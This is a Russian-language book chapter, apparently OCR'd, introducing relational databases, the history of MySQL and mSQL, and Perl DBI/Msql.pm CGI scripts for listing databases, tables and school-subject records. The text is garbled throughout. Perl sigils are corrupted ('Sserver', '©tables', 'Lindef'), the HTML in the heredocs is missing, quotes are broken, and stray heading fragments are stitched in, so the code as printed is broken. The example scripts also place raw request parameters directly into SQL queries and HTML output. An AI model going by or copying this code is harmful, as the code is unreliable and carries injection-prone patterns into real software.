    Какое отношение ко всему этому имеет SQL? Нам необходимо иметь некий способ взаимодействия с базой данных. Нужно определять таблицы, а также извлекать, добавлять, обновлять и удалять данные. SQL (Structured Query Language - язык структурированных запросов) является компьютерным языком, используемым для выражения операций с базой данных, организованной в реляционной форме (то есть в виде таблиц). SQL является принятым в отрасли стандартом языка, на котором говорит большинство программистов баз данных и который используется большинством пакетов РСУБД. Как следует из их названий, механизм работы с MySQL и mSQL основан на SQL. Из-за своей простоты, однако, они поддерживают лишь подмножество современного стандарта SQL - SQL2. Мы обсудим, в чем именно состоит отличие поддерживаемого MySQL и mSQL диалекта SQL от стандарта, в последующих главах.



    в течение многих лет используют

    Введение в реляционные базы данных


    Большие корпоративные вычислительные центры в течение многих лет используют сложные и дорогие программные продукты для работы с базами данных. Использование этих обладающих полным набором возможностей и тщательно оптимизированных программных систем является единственным способом управления теми объемами корпоративной информации, которые существуют в больших компаниях.

    Традиционно пользователи домашних компьютеров вообще не нуждались в базах данных. Они хранят свои данные - адреса, списки дел и т. д. - в маленьких файлах или специализированных покупных программах, вроде электронных таблиц или телефонных справочников.

    Но появилась новая категория пользователей компьютеров, находящихся между двумя этими крайностями. Они поддерживают информационные массивы средних размеров, которые требуются в небольших организациях, таких как вновь образовавшиеся предприятия и некоммерческие организации. Иногда эти пользователи не столько малы, сколько являются территориально самостоятельными частями более крупной компании, либо этими новыми пользователями являются просто частные лица, заинтересованные в поддержке сложных, но частных данных, таких, например, как перечень песен любимых ансамблей, который можно выложить на персональную страницу в Интернет. Если вы тот человек, которому нужна база данных, готовый немного потрудиться, чтобы установить ее, и не хотите тратить шестизначные суммы на программный продукт вкупе с отрядом поддерживающих его программистов, то эта книга - для вас.

    Эта книга вводит вас в мир разработки малых баз данных с помощью двух популярных продуктов, MySQL и mSQL. Мы начнем с введения в реляционные базы данных и проектирование приложений в реляцион-

    ном мире. Если у вас есть опыт работы с реляционными базами данных и их проектированием, вы можете сразу перейти к главе 4, "MySQL" или главе 5, "mSQL", где мы углубляемся в детали практической работы с MySQL и mSQL. Но, если вы собираетесь это сделать, обратите внимание, что в конце данной главы мы приводим краткое введение и сравнение основных возможностей этих продуктов. В оставшейся части книги в основном излагается применение MySQL и mSQL для создания и поддержки того типа приложений, которые важны для таких пользователей, как вы.



    MySQL и mSQL

    MySQL и mSQL - очень схожие, дешевые, компактные и быстрые базы данных. В этой книге описаны обе эти базы данных, что связано с их крайним сходством. Однако между ними есть и очень важные различия, о которых мы также обязательно расскажем. Обе системы поддерживают программирование на С, Perl, Java (через API Java DataBase Connectivity - JDBC) и Python. Благодаря инструментальным средствам, которые MySQL и mSQL предоставляют для этих языков, можно создавать полноценные клиент-серверные приложения и интегрированные с базами данных веб-сайты, не тратя на это состояния. Это приятное известие для маленьких фирм, публикующих данные в Интернет, и всех тех, кто разрабатывает небольшие клиент-серверные приложения и не может позволить себе приобрести коммерческие продукты.

    Дешевизна, а в некоторых случаях бесплатность, MySQL и mSQL не дается даром. Ни одна из этих СУБД полностью не поддерживает SQL. В них отсутствуют некоторые возможности, которые могут понадобиться при создании более сложных приложений. В некоторых случаях приходится также несколько больше потрудиться, разрабатывая клиентскую часть, чтобы достичь того, что дорогие базы данных предоставили бы вам даром. Однако мы научим вас, как делать переносимые приложения MySQL и mSQL, чтобы вы попробовали использовать какие-либо базы данных с более мощными внутренними механизмами, если это вам понадобится, и вам не пришлось бы переписывать весь код, чтобы перейти на большую базу данных. Для понимания того, что же могут предложить эти две СУБД, лучше всего кратко рассмотреть их историю.

    История mSQL

    До 1994 года вам не удалось бы обзавестись РСУБД с поддержкой SQL, не потратив при этом изрядной суммы денег. На рынке тогда доминировали Oracle, Sybase и Informix. Эти системы управления базами данных были разработаны для обработки огромных объемов данных с очень сложными взаимосвязями. Они были мощными, обладали множеством возможностей, а также требовали больших вычислительных ресурсов и были дороги. В те времена еще нельзя было за $2000 купить сервер с 200-MHz Pentium. Ресурсы, требуемые для этих СУБД, стоили десятки тысяч долларов.


    У больших корпораций и крупных университетов не возникало проблем с тем, чтобы потратить за год несколько миллионов долларов на такие комплекты серверов и СУБД. Малым организациям и частным пользователям приходилось довольствоваться слабыми настольными приложениями. Несколько дешевых СУБД с архитектурой клиент/ сервер в то время существовало, но ни в одной из них не использовался SQL в качестве языка запросов. Наиболее примечательной из них была Postgres, имевшая общее происхождение с коммерческой базой данных Ingres. К несчастью, Postgres требовала примерно тех же ресурсов, что и ее коммерческие аналоги, не давая преимущества использования SQL в качестве языка запросов. В то время в Postgres использовалась разновидность языка QUEL, называвшаяся PostQUEL.

    Дэвид Хьюз

    Часть диссертации, которую Давид Хьюз (David Hughes) (известный также как Bamby) писал в Университете Бонд в Австралии, была посвящена разработке системы мониторинга и управления группой систем из одного или нескольких мест. Проект носил название Minerva Network Management System. Главным элементом Minerva была база данных для хранения данных обо всех компьютерах в сети. Будучи студентом университета и не имея доступа к серверам, на которых работали большие коммерческие базы данных, Хьюз решил, что Postgres - это очевидное решение, вполне отвечающее его потребностям.

    Его коллеги предложили сделать SQL стандартным языком запросов для Minerva. В конце концов, SQL был и остается самым общепринятым стандартом языка запросов. Основываясь на SQL, Minerva могла бы использоваться в любой точке света, где установлена поддерживающая SQL СУБД. Иными словами, SQL предоставлял возможности Minerva гораздо более широкому кругу пользователей, нежели PostQUEL, ограничивавший его пользователями Postgres. В конечном итоге оказалось, что сегодня даже Postgres поддерживает SQL.

    Желание пользоваться стандартом SQL, с одной стороны, и отсутствие доступа к базе данных, поддерживающей SQL, - с другой, поставили Хьюза в трудное положение. Если использовать в Minerva язык запросов, основанный на SQL, то не удастся найти СУБД с соответствующим механизмом работы. Не имея возможности приобрести дорогую РСУБД, Хьюз нашел творческое решение проблемы: выход в том, чтобы создать программу, "на лету" транслирующую запросы SQL в запросы PostQUEL. Такая программа должна была перехватывать все


    посылаемые Minerva предложения SQL, преобразовывать их в PostQUEL и результат пересылать дальше в Postgres. Хьюз написал такую программу и назвал ее miniSQL, или mSQL.

    От транслятора PostQUEL к РСУБД

    В течение некоторого времени такая конфигурация удовлетворяла потребности Хьюза. Для Minerva было безразлично, какая СУБД используется, если только она понимает SQL, и она считала, что Postgres понимает SQL, поскольку в середине находился mSQL, производивший трансляцию в PostQUEL. К несчастью, по мере роста Minerva ее работа стала значительно замедляться. Стало ясно, что ни Postgres, ни другая большая РСУБД не смогут поддерживать тот небольшой набор возможностей, который требовался для Minerva, на тех ограниченных ресурсах, которые были ей доступны. Например, для Minerva требовалось одновременное подключение к нескольким базам данных. Для поддержки этого Postgres требовал одновременного запуска нескольких экземпляров* сервера базы данных. Кроме того, несколько потенциальных участников проекта не могли принять в нем участие, поскольку Postgres не поддерживал их системы, а они не могли позволить себе купить дорогую СУБД с поддержкой SQL.

    Оказавшись перед лицом этих проблем, Хьюз пересмотрел свое отношение к Postgres. По своим размерам и сложности она, возможно, превышала потребности Minerva. Большинство запросов, генерируемых Minerva, представляли собой простые операторы INSERT, DELETE и SELECT. Все остальные возможности, имевшиеся в Postgres и снижавшие производительность, просто не требовались для Minerva.

    У Хьюза уже был mSQL, осуществлявший трансляцию SQL. Ему требовалось только добавить хранилище данных и возможности извлечения данных, чтобы получить сервер базы данных, удовлетворявший его потребности. Эта эволюция привела к существующему на сегодняшний день mSQL.

    История MySQL

    Было бы ошибкой рассматривать MySQL просто как ответ на недостатки mSQL. Ее изобретатель Майкл Видениус (известный также как Monty) из шведской компании ТсХ работает с базами данных с 1979 г. До недавнего времени Видениус был в ТсХ только разработчиком. В 1979 г. он разработал для внутрифирменного использования средство управления базами данных под названием UNIREG. После 1979 года UNIREG была переписана на нескольких разных языках и расширена для поддержки больших баз данных.


    Каждый из процессов, в котором выполняется одна и та же-программа, называется экземпляром этой программы, поскольку он занимает память точно так же, как экземпляр переменной занимает память программы.

    В 1994 г. ТсХ стала разрабатывать приложения для WWW, используя для поддержки этого проекта UNIREG. К несчастью, UNIREG из-за больших накладных расходов не могла успешно использоваться для динамической генерации веб-страниц. И ТсХ начала присматриваться к SQL и mSQL. В то время, однако, mSQL существовала только в виде релизов 1.x. Как мы уже говорили, версии mSQL 1.x не поддерживали никаких индексов и поэтому по производительности уступали UNIREG.

    Видениус связался с Хьюзом, автором mSQL, чтобы узнать, не заинтересуется ли тот подключением mSQL к обработчику В+ ISAM в UNIREG. Хьюз, однако, к тому времени уже далеко продвинулся на пути к mSQL 2 и создал средства для работы с индексами. ТсХ решила создать сервер баз данных, более соответствующий ее нуждам.

    В ТсХ работали неглупые люди, которые не стали изобретать велосипед. Они взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, число которых все увеличивалось, написав для своей системы API, который, по крайней мере первоначально, почти совпадал с API для mSQL. В результате любой пользователь mSQL, желавший перейти на более богатый возможностями сервер баз данных ТсХ, должен был внести в свой код очень незначительные изменения. Тем не менее исходный код новой базы данных был полностью оригинальным.

    К маю 1995 г. у ТсХ имелась база данных, удовлетворявшая внутренние потребности компании, - MySQL 1.0. Бизнес-партнер фирмы Давид Аксмарк (David Axmark) из Detron HB стал убеждать ТсХ представить свой сервер в Интернет. Цель представления сервера в Интернет -использование бизнес-модели, пионером которой был Аладдин Петер Дейч (Aladdin Peter Deutsch). Результатом стали очень гибкие авторские права, которые делают MySQL "более бесплатной", чем mSQL.

    Что касается названия, то Видениус говорит об этом так: "До конца не ясно, откуда идет название MySQL. В ТсХ базовый каталог, а также значительное число библиотек и утилит в течение десятка лет имели префикс "mу". Вместе с тем мою дочь (на несколько лет младше) тоже зовут Май (My). Поэтому остается тайной, какой из двух источников дал название MySQL".


    С момента публикации MySQL в Интернет она перенесена на многие UNIX-системы, под Win32 и OS/2. ТсХ считает, что MySQL использует около 500 000 серверов.

    Основные изменения, внесенные в текущую рекомендованную версию 3.22:

  • Усиленная защита.

  • Ускорение соединений, анализа запросов SQL и улучшенный оптимизатор запросов.

  • Поддержка большего числа операционных систем.

  • INSERT DELAYED.

  • Команды GRANT и REVOKE.

  • CREATE INDEX и DROP INDEX.

  • Уровни блокировки HIGH_PRIORITY и LOW_PRIORITY для операторов SELECT, INSERT, UPDATE и DELETE.

  • Новая команда FLUSH, применимая к TABLES, HOSTS, LOGS и PRIVILEGES.

  • Новая команда KILL в SQL, действующая, как kill в Unix или msqladmin.

  • Поддержка выражений в предложении НAVIN G.

  • Сжатие протокола клиент/сервер.

  • Сохранение параметров программы по умолчанию в файлах my.cnf. Основные изменения в разрабатываемой версии 3.23:

  • Таблицы, переносимые напрямую между различными ОС и ЦП.

  • Временные таблицы и таблицы HEAP, хранимые только в ОЗУ.

  • Поддержка больших файлов (63 бит) на операционных системах, которые их поддерживают.

  • Подлинные поля чисел с плавающей точкой.

  • Комментарии к таблицам.

  • Шаблон процедуры ANALYSE().

  • Функции, определяемые пользователем.

  • Значительное ускорение обработки SELECT DISTINCT.

  • COUNT(DISTINCT).

    Дальнейшие усовершенствования, запланированные в 3.23, включают в себя поддержку вложенных операторов SELECT и поддержку репликации баз данных, обеспечивающей распределение нагрузки между несколькими серверами и восстановление в случае аппаратных сбоев.

    MySQL является очень быстро развивающейся платформой баз данных благодаря существованию армии добровольцев-программистов, помогающих строить ее дальше на крепком основании. Поэтому не следует удивляться, если что-либо, верное в момент написания этой главы, больше не соответствует действительности.

    MySQL или mSQL?

    Конечно, мы еще не дали вам сведений, достаточных для принятия решения. Чтобы полностью оценить существующие на сегодняшний день различия между двумя продуктами, необходимо прочесть эту книгу и понять тонкости, представленные нами здесь. На первый взгляд кажется несомненным, что предпочтение следует отдать MySQL. mSQL с течением времени отстала и сейчас уступает в скорости работы. Дэвид Хьюз неудовлетворен и работает над версией 2.1, в которой должны быть устранены многие нынешние недостатки. А в это же время MySQL движется вперед со скоростью света.


    Выбор mSQL может быть продиктован имеющимся у вас инструментарием. Поскольку mSQL существует дольше, вам может оказаться легче найти инструмент, отвечающий вашим специфическим потребностям. К примеру, в момент написания этой книги только для mSQL имелся драйвер JDBC, соответствующий JDBC 2.0. Конечно, положение изменится к тому времени, когда вы прочтете книгу. Тем не менее при выборе базы данных следует руководствоваться соображениями такого типа.

    Независимо от того, какую базу данных вы выберете, вы окажетесь в выигрыше. Обе эти базы данных обеспечат большее быстродействие, чем при любом другом выборе. Для объективного сравнения этих баз данных друг с другом и другими продуктами рекомендуем посетить страницу http://www.mysql.com/crash-me-choose.htmy. Она находится на домашней странице MySQL, но представленные на ней критерии можно свободно проверить, а сама страница сделана очень хорошо.

    Приложения и базы данных

    Согласно нашему определению, база данных есть организованное собрание данных, служащее определенной цели. Простого наличия СУБД недостаточно, чтобы у вашей базы данных появилось назначение. Назначение определяется тем, как вы используете свои данные. Представьте себе библиотеку, в которой никто никогда не читает книги. Будет немного смысла в хранении и организации всех этих книг, если они никогда не используются. Теперь представьте себе библиотеку, в которой нельзя поменять книги или добавить новые. Полезность библиотеки как базы данных будет со временем уменьшаться, поскольку невозможно заменить устаревшие книги и добавить новые. Короче, библиотека существует для того, чтобы люди могли читать книги и находить нужную им информацию.

    Базы данных существуют для того, чтобы люди могли с ними взаимодействовать. В случае электронных баз данных взаимодействие происходит не непосредственно с базой данных, а косвенно — с помощью программного обеспечения. До появления Всемирной паутины (World Wide Web) базы данных обычно использовались большими корпорациями для поддержки различных деловых функций - бухгалтерии и финансов, контроля поставок и складского учета, планирования производства, учета персонала и т. п. Интернет и более сложные задачи домашних вычислений содействовали перемещению потребностей в использовании баз данных за пределы больших корпораций.

    Базы данных и WWW

    Область, в которой развитие баз данных имело особо взрывной характер, и где отличились MySQL и mSQL, - это разработка приложений для Интернет. По мере роста спроса на все более сложные и надежные приложения для Интернет растет и спрос на базы данных. База данных сервера может поддерживать многие важные функции в Интернет. Фактически, любое содержание веб-страниц может управляться базой данных.

    Рассмотрим в качестве примера торговца по каталогу, который хочет опубликовать свой каталог в WWW и принимать заказы через Интернет. Если опубликовать каталог в виде HTML-файла, то кому-то придется вручную редактировать каталог всякий раз, когда добавляется новый товар или изменяется цена. Если же вместо этого держать данные каталога в реляционной базе данных, то становится возможной публикация изменений в каталоге в реальном масштабе времени путем простого изменения в базе данных сведений о товаре и цене. Становится также возможной интеграция каталога с имеющимися системами электронной обработки заказов. Таким образом, использование базы данных для управления таким веб-сайтом дает очевидные преимущества как продавцу, так и покупателю.


    Вот как веб-страница обычно взаимодействует с базой данных. База данных находится на вашем веб-сервере или другой машине, с которой ваш сервер может обмениваться данными (хорошая СУБД позволяет легко организовать такое распределение обязанностей). Вы помещаете на веб-страницу форму, в которую пользователь вводит свой запрос или данные, которые нужно передать. После передачи формы на сервер последний запускает написанную вами программу, которая

    извлекает переданные пользователем данные. Эти программы чаще всего делаются в виде CGI-сценариев или серверных приложений на Java, но возможно также встраивание программы прямо в HTML-страницу. Все эти методы мы рассмотрим в нашей книге.

    Теперь ваша программа знает, какие данные нужны пользователю или что он хочет внести в базу данных. Программа формирует команду SQL для выборки или изменения данных, а база данных чудесным образом делает все остальное. Результаты, получаемые от базы данных, ваша программа может оформить в виде новой HTML-страницы и отправить обратно пользователю.



    DBI

    Рекомендуемым методом доступа к базам данных MySQL и mSQL из Perl является интерфейс DBD/DBI. DBD/DBI означает DataBase Dependent/DataBase Independent (Зависимый от базы данных/Независимый от базы данных). Название связано с двухъярусной реализацией интерфейса. В нижнем ярусе находится зависимый от базы данных уровень. На нем существуют свои модули для каждого типа базы данных, доступного из Perl. Поверх этого уровня находится независимый от базы данных уровень. Это тот интерфейс, которым вы пользуетесь при доступе к базе данных. Выгода такой схемы в том, что программисту нужно знать только один API уровня независимости от базы данных. Когда появляется новая база данных, кому-нибудь нужно лишь написать для нее модуль DBD (зависимый), и она станет доступна всем программистам, использующим DBD/DBI.

    Как и в любом модуле Perl, для получения доступа нужно указать DBI в директиве use:

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use DBI;

    DBIПри запуске программ Perl для MySQL/mSQL следует всегда задавать аргумент командной строки -w. Благодаря этому DBI будет перенаправлять все специфические для MySQL и mSQL сообщения об ошибках на STDERR, и вы сможете увидеть ошибки, вызванные работой с базой данных, не прибегая к явной проверке их в программе.

    Всякое взаимодействие между Perl, с одной стороны, и MySQL и mSQL - с другой, производится с помощью объекта, известного как описатель базы данных (handle). Описатель базы данных (database handle) - это объект, представленный в Perl как скалярная ссылка и реализующий все методы, используемые для связи с базой данных. Одновременно можно открыть любое число описателей базы данных, ограничение накладывают только ресурсы системы. Метод connect() использует для создания описателя формат соединения DBI:servertype:database:hostname:port (имя узла и порта необязательны), дополнительными аргументами служат имя пользователя и пароль:

    my $dbh = DBI->connect( 'DBI:mysql:mydata ', undef, Lindef);

    my $dbh = DBI->connect( 'DBI:mSQL:mydata:myserver', undef, undef);


    my $dbh = DBI->connect( 'DBI:mysql:mydata', 'me', 'mypass")',

    Атрибут servertype является именем специфического для базы данных DBD-модуля, в нашем случае "mysql" или "mSQL" (обратите внимание на точное использование регистра). В первом варианте создается соединение с сервером MySQL на локальной машине через сокет Unix. Это наиболее эффективный способ связи с базой данных, который должен использоваться при соединении на локальном сервере. Если указано имя узла, оно используется для соединения с сервером на этом узле через стандартный порт, если только не задан и номер порта. Если при соединении с сервером MySQL вы не указываете имя пользователя и пароль, то пользователь, выполняющий программу, должен обладать достаточными привилегиями в базе данных MySQL. Для баз данных mSQL имя пользователя и пароль не должны указываться.

    DBIВ Perl 5 используются два соглашения по вызову модулей. В объектно-ориентированном синтаксисе для ссылки на метод определенного класса используется символ стрелки "->" (как в DBI->connect). Другой метод - использование непрямого синтаксиса, в котором за именем метода следует имя класса, а затем - аргументы. В последнем примере метод connect следовало бы записать как connect DBI 'DBI:mysql:mydata', "me', ' mypass . В ранних версиях Msql.pm использовался исключительно непрямой синтаксис, и требовалось придерживаться метода использования заглавных букв, обусловленного mSQL С API. Поэтому значительная часть старого кода MsqlPerl содержит строки типа SelectDB $dbh ' test' там, где можно было бы написать проще: $dbh->selectdb(' test') . Если вы еще не догадались, то сообщаем, что мы неравнодушны к объектно-ориентированному синтаксису, хотя бы потому, что использование стрелки делает ясной связь между классом и методом.

    Как только вы соединились с сервером MySQL или mSQL, описатель базы данных - во всех примерах этого раздела $dbh - становится шлюзом к базе данных. Например, так готовится запрос SQL:


    $dbh->prepare($query);

    DBIПри работе с mSQL для одного описателя базы данных можно одновременно выбрать только одну базу данных, это ограничение накладывается сервером mSQL. Однако в любой момент можно сменить текущую базу данных, повторно вызвав connect . При работе с MySQL можно включать в запрос другие базы данных, явно указывая их имена. Кроме того, и в MySQL, и в mSQL при необходимости одновременного доступа к нескольким базам данных можно создать несколько описателей базы данных и использовать их совместно.

    В главе 21 "Справочник по Perl", описаны все методы и переменные, содержащиеся как в DBI, так и в Mysql.pm и Msql.pm.

    Для иллюстрации использования DBI рассмотрим следующие простые программы. В примере 10-1 datashow.cgi принимает в качестве параметра имя узла; при отсутствии параметра принимается имя "local-host". Затем программа выводит список всех баз данных, имеющихся на этом узле.

    Пример 10-1. Программа CGI datashow.cgi показывает все базы данных, имеющиеся на сервере MySQL или mSQL

    #!/usr/bin/perl -w

    use strict;

    use CGI qw( standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($server, $sock, $host);

    my $output = new CGI;

    $server = param('server') or Sserver = '';

    # Подготовить DBD-драйвер для MySQL

    my $driver = DBI->install_driver('mysql');

    my @databases = $driver->func($server, '_ListDBs');

    # Если параметр @databases неопределен, предполагаем,

    # что на этом узле не запущен

    # сервер MySQL. Однако это может быть вызвано

    # другими причинами. Полный текст сообщения об ошибке

    # можно получить, проверив $DBI::errmsg.

    if (not @databases) {

    print header, start_html('title'=>"Данные no Sserver", 'BGCOLOR'=>'white');

    print<$server

    Ha Sserver , по-видимому, не запущен сервер mSQL. END_OF_HTML

    exit(0); }

    print header, start_html('title'=>" Данные по $host",


    'BGCOLOR'=>'white'); print <$host



    Соединение с $host на сокете $sock.



    Базы данных:



    END_OF_HTML

    foreach(@databases) {

    print "
  • $_\n"; }

    print <




    HTML

    exit(0)

    В примере 10-2 tableshow.cgi принимает в качестве параметров имя сервера базы данных (по умолчанию "localhost") и имя базы данных на этом сервере. Затем программа показывает все таблицы, имеющиеся в этой базе данных.

    Пример 10-2. Программа CGI tableshow.cgi выводит список всех таблиц в базе данных

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль Msql.pm use DBI; CGI::use_named_parameters(1);

    my ($db);

    my $output = new CGI;

    $db = param('db')'or die("He указана база данных!");

    # Connect to the requested server.

    my $dbh = DBI->connect("DBI:mysql:$db;$server", undef, undef);

    # Если не существует $dbh, значит, попытка соединения с сервером

    # базы данных не удалась. Возможно, сервер не запущен,

    # или не существует указанной базы данных, if (not $dbh) {

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white');

    print <$host

    $db



    Попытка соединения не удалась по следующей причине:
    $DBI::errstr



    END_OF_HTML

    exit(0); }

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white'); print <$host

    $db



    <р>

    Таблицы:



    END_OF_HTML

    # $dbh->listtable возвращает массив таблиц,

    # имеющихся в текущей базе данных.

    my ©tables = $dbh->func( '_ListTables' );

    foreach (@tables) {

    print "
  • $_\n"; }

    print <

    END_OF_HTML

    exit(0);

    И наконец, пример 10- 3 показывает, как вывести все сведения о некоторой таблице.

    Пример 10-3. Программа CGI tabledump.cgi выводит сведения об указанной таблице

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($db,Stable);

    my Soutput = new CGI;

    $server = param('server') or $server = ";

    $db = param('db') or die("He указана база данных !");

    # Соединиться с указанным сервером.

    my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

    # Готовим запрос к серверу, требующий все данные

    # таблицы.

    my $table_data = $dbh->prepare("select * from Stable");

    # Посылаем запрос серверу.

    $table_data->execute;

    # Если возвращаемое значение не определено, таблица не существует

    # или пуста; мы не проверяем, что из двух верно.

    if (not $table_data) {

    print header, startjtml( 'title'=>

    "Данные по $host => $db => Stable", 'BGCOLOR'=>'white');

    prin<

    $host



    $db



    Таблицы'Stable' нет в $db на $host.



    END_OF_HTML

    exit(0); }

    # Теперь мы знаем, что есть данные для выдачи. Сначала выведем

    # структуру таблицы.

    print header, start_html( title'=>"Данные по $host => $db => $table",

    'BGCOLOR'=>'white');

    print <$host

    $db

    $table







    <ТН>Поле<ТН>Тип<ТН>Размер<ТН>МОТ NULL END_OF_HTML

    If $table_data->name возвращает ссылку

    # на массив полей таблицы.

    my ©fields = @{$table_data->NAME};

    # $table_data->type возвращает ссылку на массив типов полей.

    # Возвращаемые типы имеют стандартные обозначения SQL,

    # а не специфические для MySQL.


    my @types = @{$table_data->TYPE};

    # $table_data-> is_not_null возвращает ссылку на массив типа Boolean,

    # указывающий, в каких полях установлен флат 'NOT NULL'.

    my @>not_null = @{$table_data->is_not_null};

    # $table_data->length возвращает ссылку на массив длин полей. Они

    фиксированные

    # для типов INT и REAL, но переменые (заданные при создании

    # таблицы) для CHAR.

    my @length = @{$table_data->length};

    # Все перечисленные выше массивы возвращаются в одном и том же порядке,

    # поэтому $fields[0], $types[0], $ndt_null[0] and $length[0] относятся к одному полю.

    foreach $field (0..$#fields) {

    print "\n";

    print "\n"; }

    print <



    Data




    END_OF_HTML

    # Теперь мы будем построчно перемещаться по данным с помощью DBI::fetchrow_array().

    # Мы сохраним данные в массиве в таком же порядке, как и в информационных

    # массивах (§fields, @types, etc,), которые мы создали раньше.

    while(my(@data)=$table_data->fetchrow_array) {

    print "
  • \n ";

    for (0..$#data) {

    print "
  • $fields[$_] => $data[$_]
  • \n"; }

    print ""; }

    print "END_OF_HTML;





    END_OF_HTML



    Язык программирования Perl превратился из

    Perl

    Язык программирования Perl превратился из инструмента, используемого преимущественно администраторами Unix-систем, в наиболее распространенную платформу разработки для World Wide Web. Perl не предназначался изначально для Web, но простота его использования и мощные функции для работы с текстом сделали естественным его применение для CGI-программирования. Сходным образом, когда mSQL впервые появилась на сцене, исключительные компактность и скорость выполнения сделали ее очень привлекательной для разработчиков Web, которым требовалось обслуживать ежедневно тысячи операций. MySQL со своей высокой скоростью и расширенными возможностями стала еще более привлекательным средством для веб-разработчиков. Естественно поэтому, что был разработан интерфейс Perl к обеим базам - MySQL и mSQL, - объединив таким образом их достоинства.

    Язык программирования Perl превратился из В то время, когда пишется эта книга, существуют два интерфейса между Perl и MySQL с mSQL. Более ранний состоит из специализированных интерфейсов Myaql.pm и Msql.pm, которые работают только с MySQL и mSQL соответственно. Другой, более новый интерфейс является подключаемым модулем в комплекте DBI (DataBase Independent) - независимых от базы данных модулей. DBI является попыткой обеспечить общий Perl API для доступа к любым базам данных и предоставления более высокой переносимости. Интерфейс DBI стал наиболее надежным и стандартным, и разработчики MySQL рекомендуют пользоваться только DBI, поскольку дальнейшая разработка модулей Mysql.pm и Msql.pm прекращена. Однако многие унаследованные системы все еще используют их, поэтому мы расскажем здесь и о них.



    Msql.pm

    Модуль Msql.pm является изначальным интерфейсом Perl к mSQL. Хотя его заменили модули DBI, все же осталось много сайтов, основанных на этом старом интерфейсе. Чтобы продемонстрировать использование Msql.pm, мы продолжим работу с нашим примером "помощника учителя".

    Поскольку нам требуется определить школьные классы, в которых будут проводиться экзамены, рассмотрим таблицу предметов. Ее структура выглядит так:

    CREATE TABLE subject (

    id INT NOT NULL,

    name CHAR(500),

    teacher CHAR(100) )

    CREATE UNIQUE INDEX idxl ON subject (
    id,
    name,

    teacher
    )

    CREATE SEQUENCE ON subject

    Число id является уникальным идентификатором школьного класса, а поля name и teacher являются наименованием курса и фамилией преподавателя соответственно. Все три поля проиндексированы, что ускоряет выполнение запросов. И наконец, мы определили последовательность для таблицы. Эта последовательность генерирует ID.

    CGI-программа для обработки этих данных должна выполнять несколько функций:

  • Находить предмет в базе данных.

  • Выводить найденный предмет.

  • Добавлять в базу данных новый предмет.

  • Изменять параметры предмета в базе данных.

    Используя мощь Perl и mSQL, можно без труда объединить все эти функции в одном файле, subject.cgi. Для каждой из операций мы создадим свою функцию. Центральной частью программы будет своего рода коммутатор, распределяющий поступающие запросы по соответствующим функциям. Сами операции мы опишем позднее.

    #Выбор нужной части сценария осуществляется в зависимости

    # от параметра 'action'.

    # Если 'action' не задан, вызывается функция defaultQ.

    &default if not param('action');

    # Этот прием из Camel 2 имитирует переключатель 'switch' в языке С. foreach[A04] (param('action')) {

    /view/ and do { Sview; last; };
    /add$/ and do { &add; last; };
    /add2/ and do { Sadd2; last; };
    /add3/ and do { &add3; last; };
    /add4/ and do { &add4; last; };
    /schange$/ and do { &schange; last; };
    /schange2/ and do { &schange2; last; };

    /lchange$/ and do { &lchange; last; };

    /Ichange2/ and do { &lchange2; last; };

    /IchangeS/ and do { &lchange3; last; };

    /delete/ and do { Sdelete; last; };

    &default; }

    Msql.pmПункты "add", "schange" и "Ichange" должны иметь завершающий "$", чтобы не быть спутанными со сходными. Если бы не было "$", то "add" соответствовал бы также add2, add3 и add4. Альтернативный прием - поместить "add", "schange" и "Ichange" после всех остальных функций, чтобы вызываться при отсутствии совпадений с предыдущими пунктами. Однако если впоследствии добавятся другие пункты, могут возникнуть ошибки. Третий способ - полностью устранить неоднозначность, используя /^view$/, /*add$/ и т. д. При этом придется ввести несколько больше символов, но возможность ошибки будет полностью устранена.

    Остается лишь проработать детали, реализовав каждую функцию.

    Функция default выводит исходную форму, которую видит пользователь, позволяющую ему выбрать тип операции. Эта функция вызывается, если CGI-программа вызывается без параметров, например, как http://www.myserver.com/teach/subject.cgi, или если параметр ACTION не соответствует ни одной из существующих функций. Можно было бы также создать функцию, выводящую сообщение об ошибке, если параметр ACTION неизвестен.

    sub default {

    print header, start_html('title'=>'Subjects', 'BGCOLOR'=>'white'):

    print "END_OF_HTML;

    Предметы



    <р>Выберите операцию и предмет (если это допустимо).








    END_OF_HTML

    # См. ниже 'sub print_subjects'.

    &print_subjects;

    print "END_OF_HTML;









    HTML

    }

    Основных операций пять: "view" (просмотр), "add" (добавление), "schange" (изменение данных о предмете), "Ichange" ( изменить список классов по предмету) и "delete" (удалить). Например, мы подробно рассмотрим операцию "add". Она разбита на четыре отдельные функции, потому что диалог с пользователем приходится проводить до четырех раз. Для передачи данных от одной формы к другой используются скрытые переменные, пока, в конце концов, не будет создан класс.

    Первая функция порождает форму для ввода начальных сведений о классе, в том числе его названия, имени учителя и количества учащихся.

    sub add {

    my (%fields);

    foreach ('name','size','teacher') {

    if (param($_)) { $fields{$_} = param($_); } else { $fields{$_} = ""; } }

    print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');

    print "END_OF_HTML;

    Add a Subject



    Название предмета:



    Фамилия учителя:



    Число учащихся в классе:















    Перейти назад к главной странице предметов.

    <А HREF=". ">Перейти к домашней странице Помощи учителю.




    END_OF_HTHL

    }

    Функция проверяет, не имеют ли какие-либо поля предустановленные значения. Это придает функции дополнительную гибкость, позволяя использовать ее как шаблон для классов со значениями по умолчанию, возможно, генерируемыми какой-либо другой CGI-программой.

    Значения, полученные в первой части процесса добавления, передаются обратно CGI-программе для использования в функции add2. Функция add2 сначала проверяет, существует ли уже класс. Если существует, то пользователю посылается сообщение об ошибке, и он может изменить название класса.

    Если класс еще не существует, функция проверяет, какое число учащихся введено. Если никакое, то класс создается без учащихся, их можно добавить позднее. Если нее число задано, создается класс и выводится форма, в которую можно ввести данные о каждом учащемся.

    sub add2 {

    my $name = param('name');

    # Нам нужна копия имени, которая кодируется для URL.

    my $enc_name = &cgi_encode($name);

    # Нам также нужна копия имени, которую можно спокойно цитировать для

